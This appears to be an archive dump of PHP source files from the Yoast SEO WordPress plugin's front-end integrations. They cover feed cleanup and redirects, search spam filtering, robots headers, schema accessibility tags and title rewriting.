	 * Makes sure the title separator set in Yoast SEO is used for all feeds.
	 *
	 * @param string $separator The separator from WordPress.
	 *
	 * @return string The separator from Yoast SEO's settings.
	 */
	public function filter_document_title_separator( $separator ) {
		return \html_entity_decode( $this->options->get_title_separator() );
	}

	/**
	 * Determines the main URL for the queried object.
	 *
	 * @param string $url The URL determined so far.
	 *
	 * @return string The canonical URL for the queried object.
	 */
	protected function get_url_for_queried_object( $url = '' ) {
		$queried_object = \get_queried_object();
		// Don't call get_class with null. This gives a warning.
		$class = ( $queried_object !== null ) ? \get_class( $queried_object ) : null;
		$meta  = false;

		switch ( $class ) {
			// Post type archive feeds.
			case 'WP_Post_Type':
				$meta = $this->meta->for_post_type_archive( $queried_object->name );
				break;
			// Post comment feeds.
			case 'WP_Post':
				$meta = $this->meta->for_post( $queried_object->ID );
				break;
			// Term feeds.
			case 'WP_Term':
				$meta = $this->meta->for_term( $queried_object->term_id );
				break;
			// Author feeds.
			case 'WP_User':
				$meta = $this->meta->for_author( $queried_object->ID );
				break;
			// This would be NULL on the home page and on date archive feeds.
			case null:
				$meta = $this->meta->for_home_page();
				break;
			default:
				break;
		}

		if ( $meta ) {
			return $meta->canonical;
		}

		return $url;
	}
}
wordpress-seo/src/integrations/front-end/crawl-cleanup-rss.php000064400000014671147510273100020635 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds actions that cleanup unwanted rss feed links.
 */
class Crawl_Cleanup_Rss implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Crawl Cleanup RSS integration constructor.
	 *
	 * @param Options_Helper $options_helper The option helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Register our RSS related hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->is_true( 'remove_feed_global' ) ) {
			\add_filter( 'feed_links_show_posts_feed', '__return_false' );
		}

		if ( $this->is_true( 'remove_feed_global_comments' ) ) {
			\add_filter( 'feed_links_show_comments_feed', '__return_false' );
		}

		\add_action( 'wp', [ $this, 'maybe_disable_feeds' ] );
		\add_action( 'wp', [ $this, 'maybe_redirect_feeds' ], -10000 );
	}

	/**
	 * Disable feeds on selected cases.
	 *
	 * @return void
	 */
	public function maybe_disable_feeds() {
		if ( $this->is_true( 'remove_feed_post_comments' ) ) {
			\add_filter( 'feed_links_extra_show_post_comments_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_authors' ) ) {
			\add_filter( 'feed_links_extra_show_author_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_categories' ) ) {
			\add_filter( 'feed_links_extra_show_category_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_tags' ) ) {
			\add_filter( 'feed_links_extra_show_tag_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_custom_taxonomies' ) ) {
			\add_filter( 'feed_links_extra_show_tax_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_post_types' ) ) {
			\add_filter( 'feed_links_extra_show_post_type_archive_feed', '__return_false' );
		}
		if ( $this->is_true( 'remove_feed_search' ) ) {
			\add_filter( 'feed_links_extra_show_search_feed', '__return_false' );
		}
	}

	/**
	 * Redirect feeds we don't want away.
	 *
	 * @return void
	 */
	public function maybe_redirect_feeds() {
		global $wp_query;

		if ( ! \is_feed() ) {
			return;
		}

		if ( \in_array( \get_query_var( 'feed' ), [ 'atom', 'rdf' ], true ) && $this->is_true( 'remove_atom_rdf_feeds' ) ) {
			$this->redirect_feed( \home_url(), 'We disable Atom/RDF feeds for performance reasons.' );
		}

		// Only if we're on the global feed, the query is _just_ `'feed' => 'feed'`, hence this check.
		if ( ( $wp_query->query === [ 'feed' => 'feed' ]
			|| $wp_query->query === [ 'feed' => 'atom' ]
			|| $wp_query->query === [ 'feed' => 'rdf' ] )
			&& $this->is_true( 'remove_feed_global' ) ) {
			$this->redirect_feed( \home_url(), 'We disable the RSS feed for performance reasons.' );
		}

		if ( \is_comment_feed() && ! ( \is_singular() || \is_attachment() ) && $this->is_true( 'remove_feed_global_comments' ) ) {
			$this->redirect_feed( \home_url(), 'We disable comment feeds for performance reasons.' );
		}
		elseif ( \is_comment_feed()
				&& \is_singular()
				&& ( $this->is_true( 'remove_feed_post_comments' ) || $this->is_true( 'remove_feed_global_comments' ) ) ) {
			$url = \get_permalink( \get_queried_object() );
			$this->redirect_feed( $url, 'We disable post comment feeds for performance reasons.' );
		}

		if ( \is_author() && $this->is_true( 'remove_feed_authors' ) ) {
			$author_id = (int) \get_query_var( 'author' );
			$url       = \get_author_posts_url( $author_id );
			$this->redirect_feed( $url, 'We disable author feeds for performance reasons.' );
		}

		if ( ( \is_category() && $this->is_true( 'remove_feed_categories' ) )
			|| ( \is_tag() && $this->is_true( 'remove_feed_tags' ) )
			|| ( \is_tax() && $this->is_true( 'remove_feed_custom_taxonomies' ) ) ) {
			$term = \get_queried_object();
			$url  = \get_term_link( $term, $term->taxonomy );
			if ( \is_wp_error( $url ) ) {
				$url = \home_url();
			}
			$this->redirect_feed( $url, 'We disable taxonomy feeds for performance reasons.' );
		}

		if ( ( \is_post_type_archive() ) && $this->is_true( 'remove_feed_post_types' ) ) {
			$url = \get_post_type_archive_link( $this->get_queried_post_type() );
			$this->redirect_feed( $url, 'We disable post type feeds for performance reasons.' );
		}

		if ( \is_search() && $this->is_true( 'remove_feed_search' ) ) {
			$url = \trailingslashit( \home_url() ) . '?s=' . \get_search_query();
			$this->redirect_feed( $url, 'We disable search RSS feeds for performance reasons.' );
		}
	}

	/**
	 * Sends a cache control header.
	 *
	 * @param int $expiration The expiration time.
	 *
	 * @return void
	 */
	public function cache_control_header( $expiration ) {
		\header_remove( 'Expires' );

		// The cacheability of the current request. 'public' allows caching, 'private' would not allow caching by proxies like CloudFlare.
		$cacheability = 'public';
		$format       = '%1$s, max-age=%2$d, s-maxage=%2$d, stale-while-revalidate=120, stale-if-error=14400';

		if ( \is_user_logged_in() ) {
			$expiration   = 0;
			$cacheability = 'private';
			$format       = '%1$s, max-age=%2$d';
		}

		\header( \sprintf( 'Cache-Control: ' . $format, $cacheability, $expiration ), true );
	}

	/**
	 * Redirect a feed result to somewhere else.
	 *
	 * @param string $url    The location we're redirecting to.
	 * @param string $reason The reason we're redirecting.
	 *
	 * @return void
	 */
	private function redirect_feed( $url, $reason ) {
		\header_remove( 'Content-Type' );
		\header_remove( 'Last-Modified' );

		$this->cache_control_header( 7 * \DAY_IN_SECONDS );

		\wp_safe_redirect( $url, 301, 'Yoast SEO: ' . $reason );
		exit;
	}

	/**
	 * Retrieves the queried post type.
	 *
	 * @return string The queried post type.
	 */
	private function get_queried_post_type() {
		$post_type = \get_query_var( 'post_type' );
		if ( \is_array( $post_type ) ) {
			$post_type = \reset( $post_type );
		}
		return $post_type;
	}

	/**
	 * Checks if the value of an option is set to true.
	 *
	 * @param string $option_name The option name.
	 *
	 * @return bool
	 */
	private function is_true( $option_name ) {
		return $this->options_helper->get( $option_name ) === true;
	}
}
wordpress-seo/src/integrations/front-end/redirects.php000064400000016037147510273100017255 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Meta_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Redirect_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Redirects.
 */
class Redirects implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The meta helper.
	 *
	 * @var Meta_Helper
	 */
	protected $meta;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page;

	/**
	 * The redirect helper.
	 *
	 * @var Redirect_Helper
	 */
	private $redirect;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url;

	/**
	 * Holds the WP_Query variables we should get rid of.
	 *
	 * @var string[]
	 */
	private $date_query_variables = [
		'year',
		'm',
		'monthnum',
		'day',
		'hour',
		'minute',
		'second',
	];

	/**
	 * Sets the helpers.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Options_Helper      $options      Options helper.
	 * @param Meta_Helper         $meta         Meta helper.
	 * @param Current_Page_Helper $current_page The current page helper.
	 * @param Redirect_Helper     $redirect     The redirect helper.
	 * @param Url_Helper          $url          The URL helper.
	 */
	public function __construct( Options_Helper $options, Meta_Helper $meta, Current_Page_Helper $current_page, Redirect_Helper $redirect, Url_Helper $url ) {
		$this->options      = $options;
		$this->meta         = $meta;
		$this->current_page = $current_page;
		$this->redirect     = $redirect;
		$this->url          = $url;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wp', [ $this, 'archive_redirect' ] );
		\add_action( 'wp', [ $this, 'page_redirect' ], 99 );
		\add_action( 'wp', [ $this, 'category_redirect' ] );
		\add_action( 'template_redirect', [ $this, 'attachment_redirect' ], 1 );
		\add_action( 'template_redirect', [ $this, 'disable_date_queries' ] );
	}

	/**
	 * Disable date queries, if they're disabled in Yoast SEO settings, to prevent indexing the wrong things.
	 *
	 * @return void
	 */
	public function disable_date_queries() {
		if ( $this->options->get( 'disable-date', false ) ) {
			$exploded_url                    = \explode( '?', $this->url->recreate_current_url(), 2 );
			list( $base_url, $query_string ) = \array_pad( $exploded_url, 2, '' );
			\parse_str( $query_string, $query_vars );
			foreach ( $this->date_query_variables as $variable ) {
				if ( \in_array( $variable, \array_keys( $query_vars ), true ) ) {
					$this->do_date_redirect( $query_vars, $base_url );
				}
			}
		}
	}

	/**
	 * When certain archives are disabled, this redirects those to the homepage.
	 *
	 * @return void
	 */
	public function archive_redirect() {
		if ( $this->need_archive_redirect() ) {
			$this->redirect->do_safe_redirect( \get_bloginfo( 'url' ), 301 );
		}
	}

	/**
	 * Based on the redirect meta value, this function determines whether it should redirect the current post / page.
	 *
	 * @return void
	 */
	public function page_redirect() {
		if ( ! $this->current_page->is_simple_page() ) {
			return;
		}

		$post = \get_post();
		if ( ! \is_object( $post ) ) {
			return;
		}

		$redirect = $this->meta->get_value( 'redirect', $post->ID );
		if ( $redirect === '' ) {
			return;
		}

		$this->redirect->do_safe_redirect( $redirect, 301 );
	}

	/**
	 * If the option to disable attachment URLs is checked, this performs the redirect to the attachment.
	 *
	 * @return void
	 */
	public function attachment_redirect() {
		if ( ! $this->current_page->is_attachment() ) {
			return;
		}

		if ( $this->options->get( 'disable-attachment', false ) === false ) {
			return;
		}

		$url = $this->get_attachment_url();
		if ( empty( $url ) ) {
			return;
		}

		$this->redirect->do_unsafe_redirect( $url, 301 );
	}

	/**
	 * Checks if certain archive pages are disabled to determine if a archive redirect is needed.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return bool Whether or not to redirect an archive page.
	 */
	protected function need_archive_redirect() {
		if ( $this->options->get( 'disable-date', false ) && $this->current_page->is_date_archive() ) {
			return true;
		}

		if ( $this->options->get( 'disable-author', false ) && $this->current_page->is_author_archive() ) {
			return true;
		}

		if ( $this->options->get( 'disable-post_format', false ) && $this->current_page->is_post_format_archive() ) {
			return true;
		}

		return false;
	}

	/**
	 * Retrieves the attachment url for the current page.
	 *
	 * @codeCoverageIgnore It wraps WordPress functions.
	 *
	 * @return string The attachment url.
	 */
	protected function get_attachment_url() {
		/**
		 * Allows the developer to change the target redirection URL for attachments.
		 *
		 * @since 7.5.3
		 *
		 * @param string $attachment_url The attachment URL for the queried object.
		 * @param object $queried_object The queried object.
		 */
		return \apply_filters(
			'wpseo_attachment_redirect_url',
			\wp_get_attachment_url( \get_queried_object_id() ),
			\get_queried_object()
		);
	}

	/**
	 * Redirects away query variables that shouldn't work.
	 *
	 * @param array  $query_vars The query variables in the current URL.
	 * @param string $base_url   The base URL without query string.
	 *
	 * @return void
	 */
	private function do_date_redirect( $query_vars, $base_url ) {
		foreach ( $this->date_query_variables as $variable ) {
			unset( $query_vars[ $variable ] );
		}
		$url = $base_url;
		if ( \count( $query_vars ) > 0 ) {
			$url .= '?' . \http_build_query( $query_vars );
		}

		$this->redirect->do_safe_redirect( $url, 301 );
	}

	/**
	 * Strips `cat=-1` from the URL and redirects to the resulting URL.
	 *
	 * @return void
	 */
	public function category_redirect() {
		/**
		 * Allows the developer to keep cat=-1 GET parameters
		 *
		 * @since 19.9
		 *
		 * @param bool $remove_cat_parameter Whether to remove the `cat=-1` GET parameter. Default true.
		 */
		$should_remove_parameter = \apply_filters( 'wpseo_remove_cat_parameter', true );

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Data is not processed or saved.
		if ( $should_remove_parameter && isset( $_GET['cat'] ) && $_GET['cat'] === '-1' ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Data is not processed or saved.
			unset( $_GET['cat'] );
			if ( isset( $_SERVER['REQUEST_URI'] ) ) {
				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- This is just a replace and the data is never saved.
				$_SERVER['REQUEST_URI'] = \remove_query_arg( 'cat' );
			}
			$this->redirect->do_safe_redirect( $this->url->recreate_current_url(), 301, 'Stripping cat=-1 from the URL' );
		}
	}
}
wordpress-seo/src/integrations/front-end/schema-accessibility-feature.php000064400000004462147510273100023006 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Generators\Schema\Abstract_Schema_Piece;
use Yoast\WP\SEO\Generators\Schema\Article;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds the table of contents accessibility feature to the article piece with a fallback to the webpage piece.
 */
class Schema_Accessibility_Feature implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'wpseo_schema_webpage', [ $this, 'maybe_add_accessibility_feature' ], 10, 4 );
		\add_filter( 'wpseo_schema_article', [ $this, 'add_accessibility_feature' ], 10, 2 );
	}

	/**
	 * Adds the accessibility feature to the webpage if there is no article.
	 *
	 * @param array                   $piece         The graph piece.
	 * @param Meta_Tags_Context       $context       The context.
	 * @param Abstract_Schema_Piece   $the_generator The current schema generator.
	 * @param Abstract_Schema_Piece[] $generators    The schema generators.
	 *
	 * @return array The graph piece.
	 */
	public function maybe_add_accessibility_feature( $piece, $context, $the_generator, $generators ) {
		foreach ( $generators as $generator ) {
			if ( \is_a( $generator, Article::class ) && $generator->is_needed() ) {
				return $piece;
			}
		}

		return $this->add_accessibility_feature( $piece, $context );
	}

	/**
	 * Adds the accessibility feature to a schema graph piece.
	 *
	 * @param array             $piece   The schema piece.
	 * @param Meta_Tags_Context $context The context.
	 *
	 * @return array The graph piece.
	 */
	public function add_accessibility_feature( $piece, $context ) {
		if ( empty( $context->blocks['yoast-seo/table-of-contents'] ) ) {
			return $piece;
		}

		if ( isset( $piece['accessibilityFeature'] ) ) {
			$piece['accessibilityFeature'][] = 'tableOfContents';
		}
		else {
			$piece['accessibilityFeature'] = [
				'tableOfContents',
			];
		}
		return $piece;
	}
}
wordpress-seo/src/integrations/front-end/backwards-compatibility.php000064400000003301147510273100022067 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds actions that were previously called and are now deprecated.
 */
class Backwards_Compatibility implements Integration_Interface {

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Backwards_Compatibility constructor
	 *
	 * @param Options_Helper $options The options helper.
	 */
	public function __construct( Options_Helper $options ) {
		$this->options = $options;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->options->get( 'opengraph' ) === true ) {
			\add_action( 'wpseo_head', [ $this, 'call_wpseo_opengraph' ], 30 );
		}
		if ( $this->options->get( 'twitter' ) === true && \apply_filters( 'wpseo_output_twitter_card', true ) !== false ) {
			\add_action( 'wpseo_head', [ $this, 'call_wpseo_twitter' ], 40 );
		}
	}

	/**
	 * Calls the old wpseo_opengraph action.
	 *
	 * @return void
	 */
	public function call_wpseo_opengraph() {
		\do_action_deprecated( 'wpseo_opengraph', [], '14.0', 'wpseo_frontend_presenters' );
	}

	/**
	 * Calls the old wpseo_twitter action.
	 *
	 * @return void
	 */
	public function call_wpseo_twitter() {
		\do_action_deprecated( 'wpseo_twitter', [], '14.0', 'wpseo_frontend_presenters' );
	}
}
wordpress-seo/src/integrations/front-end/crawl-cleanup-searches.php000064400000013005147510273100021611 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use WP_Query;
use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Redirect_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Crawl_Cleanup_Searches.
 */
class Crawl_Cleanup_Searches implements Integration_Interface {

	/**
	 * Patterns to match against to find spam.
	 *
	 * @var array
	 */
	private $patterns = [
		'/[:()【】[]]+/u',
		'/(TALK|QQ)\:/iu',
	];

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The redirect helper.
	 *
	 * @var Redirect_Helper
	 */
	private $redirect_helper;

	/**
	 * Crawl_Cleanup_Searches integration constructor.
	 *
	 * @param Options_Helper  $options_helper  The option helper.
	 * @param Redirect_Helper $redirect_helper The redirect helper.
	 */
	public function __construct( Options_Helper $options_helper, Redirect_Helper $redirect_helper ) {
		$this->options_helper  = $options_helper;
		$this->redirect_helper = $redirect_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->options_helper->get( 'search_cleanup' ) ) {
			\add_filter( 'pre_get_posts', [ $this, 'validate_search' ] );
		}
		if ( $this->options_helper->get( 'redirect_search_pretty_urls' ) && ! empty( \get_option( 'permalink_structure' ) ) ) {
			\add_action( 'template_redirect', [ $this, 'maybe_redirect_searches' ], 2 );
		}
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Check if we want to allow this search to happen.
	 *
	 * @param WP_Query $query The main query.
	 *
	 * @return WP_Query
	 */
	public function validate_search( WP_Query $query ) {
		if ( ! $query->is_search() ) {
			return $query;
		}
		// First check against emoji and patterns we might not want.
		$this->check_unwanted_patterns( $query );

		// Then limit characters if still needed.
		$this->limit_characters();

		return $query;
	}

	/**
	 * Redirect pretty search URLs to the "raw" equivalent
	 *
	 * @return void
	 */
	public function maybe_redirect_searches() {
		if ( ! \is_search() ) {
			return;
		}

		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
		if ( isset( $_SERVER['REQUEST_URI'] ) && \stripos( $_SERVER['REQUEST_URI'], '/search/' ) === 0 ) {
			$args = [];

			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput
			$parsed = \wp_parse_url( $_SERVER['REQUEST_URI'] );

			if ( ! empty( $parsed['query'] ) ) {
				\wp_parse_str( $parsed['query'], $args );
			}

			$args['s'] = \get_search_query();

			$proper_url = \home_url( '/' );

			if ( \intval( \get_query_var( 'paged' ) ) > 1 ) {
				$proper_url .= \sprintf( 'page/%s/', \get_query_var( 'paged' ) );
				unset( $args['paged'] );
			}

			$proper_url = \add_query_arg( \array_map( 'rawurlencode_deep', $args ), $proper_url );

			if ( ! empty( $parsed['fragment'] ) ) {
				$proper_url .= '#' . \rawurlencode( $parsed['fragment'] );
			}

			$this->redirect_away( 'We redirect pretty URLs to the raw format.', $proper_url );
		}
	}

	/**
	 * Check query against unwanted search patterns.
	 *
	 * @param WP_Query $query The main WordPress query.
	 *
	 * @return void
	 */
	private function check_unwanted_patterns( WP_Query $query ) {
		$s = \rawurldecode( $query->query_vars['s'] );
		if ( $this->options_helper->get( 'search_cleanup_emoji' ) && $this->has_emoji( $s ) ) {
			$this->redirect_away( 'We don\'t allow searches with emojis and other special characters.' );
		}

		if ( ! $this->options_helper->get( 'search_cleanup_patterns' ) ) {
			return;
		}
		foreach ( $this->patterns as $pattern ) {
			$outcome = \preg_match( $pattern, $s, $matches );
			if ( $outcome && $matches !== [] ) {
				$this->redirect_away( 'Your search matched a common spam pattern.' );
			}
		}
	}

	/**
	 * Redirect to the homepage for invalid searches.
	 *
	 * @param string $reason The reason for redirecting away.
	 * @param string $to_url The URL to redirect to.
	 *
	 * @return void
	 */
	private function redirect_away( $reason, $to_url = '' ) {
		if ( empty( $to_url ) ) {
			$to_url = \get_home_url();
		}

		$this->redirect_helper->do_safe_redirect( $to_url, 301, 'Yoast Search Filtering: ' . $reason );
	}

	/**
	 * Limits the number of characters in the search query.
	 *
	 * @return void
	 */
	private function limit_characters() {
		// We retrieve the search term unescaped because we want to count the characters properly. We make sure to escape it afterwards, if we do something with it.
		$unescaped_s = \get_search_query( false );

		// We then unslash the search term, again because we want to count the characters properly. We make sure to slash it afterwards, if we do something with it.
		$raw_s = \wp_unslash( $unescaped_s );
		if ( \mb_strlen( $raw_s, 'UTF-8' ) > $this->options_helper->get( 'search_character_limit' ) ) {
			$new_s = \mb_substr( $raw_s, 0, $this->options_helper->get( 'search_character_limit' ), 'UTF-8' );
			\set_query_var( 's', \wp_slash( \esc_attr( $new_s ) ) );
		}
	}

	/**
	 * Determines if a text string contains an emoji or not.
	 *
	 * @param string $text The text string to detect emoji in.
	 *
	 * @return bool
	 */
	private function has_emoji( $text ) {
		$emojis_regex = '/([^-\p{L}\x00-\x7F]+)/u';
		\preg_match( $emojis_regex, $text, $matches );

		return ! empty( $matches );
	}
}
wordpress-seo/src/integrations/front-end/indexing-controls.php000064400000005253147510273100020735 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Robots_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Indexing_Controls.
 */
class Indexing_Controls implements Integration_Interface {

	/**
	 * The robots helper.
	 *
	 * @var Robots_Helper
	 */
	protected $robots;

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * The constructor.
	 *
	 * @codeCoverageIgnore Sets the dependencies.
	 *
	 * @param Robots_Helper $robots The robots helper.
	 */
	public function __construct( Robots_Helper $robots ) {
		$this->robots = $robots;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		// The option `blog_public` is set in Settings > Reading > Search Engine Visibility.
		if ( (string) \get_option( 'blog_public' ) === '0' ) {
			\add_filter( 'wpseo_robots_array', [ $this->robots, 'set_robots_no_index' ] );
		}

		\add_action( 'template_redirect', [ $this, 'noindex_robots' ] );
		\add_filter( 'loginout', [ $this, 'nofollow_link' ] );
		\add_filter( 'register', [ $this, 'nofollow_link' ] );

		// Remove actions that we will handle through our wpseo_head call, and probably change the output of.
		\remove_action( 'wp_head', 'rel_canonical' );
		\remove_action( 'wp_head', 'index_rel_link' );
		\remove_action( 'wp_head', 'start_post_rel_link' );
		\remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head' );
		\remove_action( 'wp_head', 'noindex', 1 );
	}

	/**
	 * Sends a Robots HTTP header preventing URL from being indexed in the search results while allowing search engines
	 * to follow the links in the object at the URL.
	 *
	 * @return bool Boolean indicating whether the noindex header was sent.
	 */
	public function noindex_robots() {
		if ( ! \is_robots() ) {
			return false;
		}

		return $this->set_robots_header();
	}

	/**
	 * Adds rel="nofollow" to a link, only used for login / registration links.
	 *
	 * @param string $input The link element as a string.
	 *
	 * @return string
	 */
	public function nofollow_link( $input ) {
		return \str_replace( '<a ', '<a rel="nofollow" ', $input );
	}

	/**
	 * Sets the x-robots-tag to noindex follow.
	 *
	 * @codeCoverageIgnore Too difficult to test.
	 *
	 * @return bool
	 */
	protected function set_robots_header() {
		if ( \headers_sent() === false ) {
			\header( 'X-Robots-Tag: noindex, follow', true );

			return true;
		}

		return false;
	}
}
wordpress-seo/src/integrations/front-end/force-rewrite-title.php000064400000010702147510273100021156 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

use Yoast\WP\SEO\Conditionals\Front_End_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Wrappers\WP_Query_Wrapper;

/**
 * Class Force_Rewrite_Title.
 */
class Force_Rewrite_Title implements Integration_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * Toggle indicating whether output buffering has been started.
	 *
	 * @var bool
	 */
	private $ob_started = false;

	/**
	 * The WP Query wrapper.
	 *
	 * @var WP_Query_Wrapper
	 */
	private $wp_query;

	/**
	 * Sets the helpers.
	 *
	 * @codeCoverageIgnore It just handles dependencies.
	 *
	 * @param Options_Helper   $options  Options helper.
	 * @param WP_Query_Wrapper $wp_query WP query wrapper.
	 */
	public function __construct( Options_Helper $options, WP_Query_Wrapper $wp_query ) {
		$this->options  = $options;
		$this->wp_query = $wp_query;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Front_End_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		// When the option is disabled.
		if ( ! $this->options->get( 'forcerewritetitle', false ) ) {
			return;
		}

		// For WordPress versions below 4.4.
		if ( \current_theme_supports( 'title-tag' ) ) {
			return;
		}

		\add_action( 'template_redirect', [ $this, 'force_rewrite_output_buffer' ], 99999 );
		\add_action( 'wp_footer', [ $this, 'flush_cache' ], -1 );
	}

	/**
	 * Used in the force rewrite functionality this retrieves the output, replaces the title with the proper SEO
	 * title and then flushes the output.
	 *
	 * @return bool
	 */
	public function flush_cache() {
		if ( $this->ob_started !== true ) {
			return false;
		}

		$content = $this->get_buffered_output();

		$old_wp_query = $this->wp_query->get_query();

		\wp_reset_query();

		// When the file has the debug mark.
		if ( \preg_match( '/(?\'before\'.*)<!-- This site is optimized with the Yoast SEO.*<!-- \/ Yoast SEO( Premium)? plugin. -->(?\'after\'.*)/is', $content, $matches ) ) {
			$content = $this->replace_titles_from_content( $content, $matches );

			unset( $matches );
		}

		// phpcs:ignore WordPress.WP.GlobalVariablesOverride -- The query gets reset here with the original query.
		$GLOBALS['wp_query'] = $old_wp_query;

		// phpcs:ignore WordPress.Security.EscapeOutput -- The output should already have been escaped, we are only filtering it.
		echo $content;

		return true;
	}

	/**
	 * Starts the output buffer so it can later be fixed by flush_cache().
	 *
	 * @return void
	 */
	public function force_rewrite_output_buffer() {
		$this->ob_started = true;
		$this->start_output_buffering();
	}

	/**
	 * Replaces the titles from the parts that contains a title.
	 *
	 * @param string $content          The content to remove the titles from.
	 * @param array  $parts_with_title The parts containing a title.
	 *
	 * @return string The modified content.
	 */
	protected function replace_titles_from_content( $content, $parts_with_title ) {
		if ( isset( $parts_with_title['before'] ) && \is_string( $parts_with_title['before'] ) ) {
			$content = $this->replace_title( $parts_with_title['before'], $content );
		}

		if ( isset( $parts_with_title['after'] ) ) {
			$content = $this->replace_title( $parts_with_title['after'], $content );
		}

		return $content;
	}

	/**
	 * Removes the title from the part that contains the title and put this modified part back
	 * into the content.
	 *
	 * @param string $part_with_title The part with the title that needs to be replaced.
	 * @param string $content         The entire content.
	 *
	 * @return string The altered content.
	 */
	protected function replace_title( $part_with_title, $content ) {
		$part_without_title = \preg_replace( '/<title.*?\/title>/i', '', $part_with_title );

		return \str_replace( $part_with_title, $part_without_title, $content );
	}

	/**
	 * Starts the output buffering.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	protected function start_output_buffering() {
		\ob_start();
	}

	/**
	 * Retrieves the buffered output.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return false|string The buffered output.
	 */
	protected function get_buffered_output() {
		return \ob_get_clean();
	}
}
wordpress-seo/src/integrations/front-end/rss-footer-embed.php000064400000012337147510273100020445 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Front_End;

